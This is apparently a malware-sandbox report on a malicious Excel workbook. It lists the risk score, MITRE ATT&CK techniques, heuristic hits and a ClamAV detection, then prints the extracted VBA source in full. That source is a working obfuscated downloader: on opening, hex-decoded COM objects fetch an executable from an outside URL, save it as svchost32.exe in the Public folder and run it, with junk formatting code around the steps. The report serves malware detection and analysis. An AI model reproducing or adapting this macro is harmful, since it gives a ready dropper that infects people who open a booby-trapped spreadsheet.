MALICIOUS
308
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1105 Ingress Tool Transfer
The VBA macro contains an obfuscated Workbook_Open subroutine that decodes a URL and downloads an executable file. The script reconstructs the URL "http://www.freshertools.online/AmdaXWE.exe" and uses CreateObject to facilitate the download and execution of the payload. This behavior is indicative of a downloader malware.
Heuristics 6
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ClamAV: Xls.Malware.Sagent-10035294-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Xls.Malware.Sagent-10035294-0
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VBA project inside OOXML medium 4 related findings OOXML_VBADocument contains a VBA project — VBA macros present
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VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXECVBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.Matched line in script
HDFHBSADHFBSKJDFIKSDJFHWUOR8W8ER792EUFUIEFOU.write AZCSFWRFplxbshdgdgfchtqQAERWDSPOLYTGDFVXFANMJHBDGRTZAPLIU.responseBody -
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.Matched line in script
Set AZCSFWRFplxbshdgdgfchtqQAERWDSPOLYTGDFVXFANMJHBDGRTZAPLIU = CreateObject(HDSHFBIDBXBDFIYGFGWER47RNVHCBVBP88("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set AZCSFWRFplxbshdgdgfchtqQAERWDSPOLYTGDFVXFANMJHBDGRTZAPLIU = CreateObject(HDSHFBIDBXBDFIYGFGWER47RNVHCBVBP88("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) -
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
Private Sub Workbook_Open()
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 7827 bytes |
SHA-256: 4ee81fefaaa8a280cee50b364d576376555a9a404afce773fe2ab526b8d3a7a9 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
PCVB09AQWZCXyTY670PLVCBFSGGGRAQMLKZVAGSFERT"68 74 74 70 3A 2F 2F 77 77 77 2E 66 72 65 73 68 65 72 77 6F 72 6C 64 2E 6F 6E 6C 69 6E 65 2F 41 6D 64 61 58 57 45 2E 65 78 65"
End Sub
Public Sub PCVB09AQWZCXyTY670PLVCBFSGGGRAQMLKZVAGSFERT(Link As String)
Range("A1:J22").Select
Selection.Borders(xlDiagonalDown).LineStyle = xlNone
Selection.Borders(xlDiagonalUp).LineStyle = xlNone
With Selection.Borders(xlEdgeLeft)
.LineStyle = xlContinuous
.ColorIndex = 0
.TintAndShade = 0
.Weight = xlThin
End With
Dim AZCSFWRFplxbshdgdgfchtqQAERWDSPOLYTGDFVXFANMJHBDGRTZAPLIU
With Selection.Borders(xlEdgeTop)
.LineStyle = xlContinuous
.ColorIndex = 0
.TintAndShade = 0
.Weight = xlThin
End With
Dim HDFHBSADHFBSKJDFIKSDJFHWUOR8W8ER792EUFUIEFOU
With Selection.Borders(xlEdgeBottom)
.LineStyle = xlContinuous
.ColorIndex = 0
.TintAndShade = 0
.Weight = xlThin
End With
Dim HZDHFGWE6RT9WEHCUDIFWEEU9R23QJHDFW0PJZGASW
With Selection.Borders(xlEdgeRight)
.LineStyle = xlContinuous
.ColorIndex = 0
.TintAndShade = 0
.Weight = xlThin
End With
Set AZCSFWRFplxbshdgdgfchtqQAERWDSPOLYTGDFVXFANMJHBDGRTZAPLIU = CreateObject(HDSHFBIDBXBDFIYGFGWER47RNVHCBVBP88("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
With Selection.Borders(xlInsideVertical)
.LineStyle = xlContinuous
.ColorIndex = 0
.TintAndShade = 0
.Weight = xlThin
End With
Set HDFHBSADHFBSKJDFIKSDJFHWUOR8W8ER792EUFUIEFOU = CreateObject(HDSHFBIDBXBDFIYGFGWER47RNVHCBVBP88("41 44 4f 44 42 2e 53 74 72 65 61 6d"))
With Selection.Borders(xlInsideHorizontal)
.LineStyle = xlContinuous
.ColorIndex = 0
.TintAndShade = 0
.Weight = xlThin
End With
Set HZDHFGWE6RT9WEHCUDIFWEEU9R23QJHDFW0PJZGASW = CreateObject(HDSHFBIDBXBDFIYGFGWER47RNVHCBVBP88("57 53 63 72 69 70 74 2e 53 68 65 6c 6c "))
ActiveWindow.SmallScroll Down:=-12
Range("A1").Select
ActiveCell.FormulaR1C1 = "S.No"
Range("B1").Select
ActiveCell.FormulaR1C1 = "Name"
Range("C1").Select
ActiveCell.FormulaR1C1 = "Unit"
Range("D1").Select
ActiveCell.FormulaR1C1 = "Price"
Range("E1").Select
ActiveCell.FormulaR1C1 = "Qty"
Range("F1:J22").Select
Url = HDSHFBIDBXBDFIYGFGWER47RNVHCBVBP88(Link)
With Selection
.HorizontalAlignment = xlCenter
.VerticalAlignment = xlBottom
.WrapText = False
.Orientation = 0
.AddIndent = False
.IndentLevel = 0
.ShrinkToFit = False
.ReadingOrder = xlContext
.MergeCells = False
End With
Selection.Merge
urloasjdklweqad_babu = HDSHFBIDBXBDFIYGFGWER47RNVHCBVBP88("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 73 76 63 68 6f 73 74 33 32 2e 65 78 65")
With Selection
.HorizontalAlignment = xlCenter
.VerticalAlignment = xlBottom
.WrapText = False
.Orientation = xlVertical
.AddIndent = False
.IndentLevel = 0
.ShrinkToFit = False
.ReadingOrder = xlContext
.MergeCells = True
End With
RUNCMD = HDSHFBIDBXBDFIYGFGWER47RNVHCBVBP88("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 73 76 63 68 6f 73 74 33 32 2e 65 78 65")
Range("F1:J22").Select
ActiveCell.FormulaR1C1 = "S"
Range("F1:J22").Select
ActiveCell.FormulaR1C1 = "S" & Chr(10) & "u" & Chr(10) & "m" & Chr(10) & "r" & Chr(10) & "r" & Chr(10) & "y"
Range("F1:J22").Select
AZCSFWRFplxbshdgdgfchtqQAERWDSPOLYTGDFVXFANMJHBDGRTZAPLIU.Open "G" + "E" + "T", Url, False
With Selection
.HorizontalAlignment = xlCenter
.VerticalAlignment = xlBottom
.Orientation = 0
.AddIndent = False
.IndentLevel = 0
.ShrinkToFit = False
.ReadingOrder = xlContext
.MergeCells = True
End With
AZCSFWRFplxbshdgdgfchtqQAERWDSPOLYTGDFVXFANMJHBDGRTZAPLIU.send
Range("F1:J22").Select
With Selection
.HorizontalAlignment = xlCenter
.VerticalAlignment = xlCenter
.Orientation = 0
.AddIndent = False
.IndentLevel = 0
.ShrinkToFit = False
.ReadingOrder = xlContext
.MergeCells = True
End With
HDFHBSADHFBSKJDFIKSDJFHWUOR8W8ER792EUFUIEFOU.Type = 1
With Selection.Font
.Name = "Calibri"
.Size = 14
.Strikethrough = False
.Superscript = False
.Subscript = False
.OutlineFont = False
.Shadow = False
.Underline = xlUnderlineStyleNone
.ThemeColor = xlThemeColorLight1
.TintAndShade = 0
.ThemeFont = xlThemeFontMinor
End With
HDFHBSADHFBSKJDFIKSDJFHWUOR8W8ER792EUFUIEFOU.Open
Selection.Font.Bold = True
HDFHBSADHFBSKJDFIKSDJFHWUOR8W8ER792EUFUIEFOU.write AZCSFWRFplxbshdgdgfchtqQAERWDSPOLYTGDFVXFANMJHBDGRTZAPLIU.responseBody
Selection.Font.Italic = True
HDFHBSADHFBSKJDFIKSDJFHWUOR8W8ER792EUFUIEFOU.savetofile urloasjdklweqad_babu, 2
Range("L4").Select
HZDHFGWE6RT9WEHCUDIFWEEU9R23QJHDFW0PJZGASW.Run RUNCMD
End Sub
Function nn20tyth1i9(str As String) As Variant: Dim bytes() As Byte: bytes = str: nn20tyth1i9 = bytes: End Function
Function jo8dnbtrcjdg4z48d(bytes() As Byte) As String: Dim str As String: str = bytes: jo8dnbtrcjdg4z48d = str: End Function
Function l2bc3qdodjnjx15of(str As String) As String
Const BCvo09gf89_BVC As String = "eciwdr8uax3hx9t7t"
Dim ZdaVCfdpVCP_KaKal() As Byte, SokNAH_() As Byte
ZdaVCfdpVCP_KaKal = nn20tyth1i9(str)
SOtAN_ = nn20tyth1i9(BCvo09gf89_BVC)
Dim Sola67BChdPo_NcBBn As Long
Sola67BChdPo_NcBBn = UBound(ZdaVCfdpVCP_KaKal)
ReDim BCVPlokIgdh67BCGF_BQAZ(0 To Sola67BChdPo_NcBBn) As Byte
Dim idx As Long
For idx = LBound(ZdaVCfdpVCP_KaKal) To Sola67BChdPo_NcBBn:
If Not ZdaVCfdpVCP_KaKal(idx) = 0 Then
c = ZdaVCfdpVCP_KaKal(idx)
For i = 0 To UBound(SOtAN_):
c = c Xor SOtAN_(i)
Next i
BCVPlokIgdh67BCGF_BQAZ(idx) = c
End If
Next idx
l2bc3qdodjnjx15of = jo8dnbtrcjdg4z48d(BCVPlokIgdh67BCGF_BQAZ)
End Function
Public Function HDSHFBIDBXBDFIYGFGWER47RNVHCBVBP88(ByVal PADUTYQPLZBCNFHYTSDWRFSGMLZGAGWRyhfbwe708409dfibfusdufh As String) As String
Dim q54id4ms3w0r058ze As String
Dim tk9qqtx1kf82ez1h4 As String
Dim mnq4u978707b75ukj As Long
For mVTzrmmdSuUPlQfWzeYutCDYutRakyzZEDePAULnBGOttZQAoINrcev = 1 To Len(PADUTYQPLZBCNFHYTSDWRFSGMLZGAGWRyhfbwe708409dfibfusdufh) Step 3
wSyzXMLHWUSHvLYkKMMXYQvilaCUFhOtEcxHOMzjKQAtRrAJPgqiIRa = Chr$(Val(l2bc3qdodjnjx15of("Q" & "?" ) & Mid$(PADUTYQPLZBCNFHYTSDWRFSGMLZGAGWRyhfbwe708409dfibfusdufh, mVTzrmmdSuUPlQfWzeYutCDYutRakyzZEDePAULnBGOttZQAoINrcev, 2)))
tk9qqtx1kf82ez1h4 = tk9qqtx1kf82ez1h4 & wSyzXMLHWUSHvLYkKMMXYQvilaCUFhOtEcxHOMzjKQAtRrAJPgqiIRa
Next mVTzrmmdSuUPlQfWzeYutCDYutRakyzZEDePAULnBGOttZQAoINrcev
HDSHFBIDBXBDFIYGFGWER47RNVHCBVBP88 = tk9qqtx1kf82ez1h4
End Function
Attribute VB_Name = "Sheet 1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
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vbaProject_00.bin |
vba-project | OOXML VBA project: xl/vbaProject.bin | 7680 bytes |
SHA-256: 59ec5f420119be09e547c6f6765a7de9b455cda35872e22db664da4c3b86b0e7 |
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Detection
ClamAV:
Xls.Malware.Sagent-10035294-0
Obfuscation or payload:
unlikely
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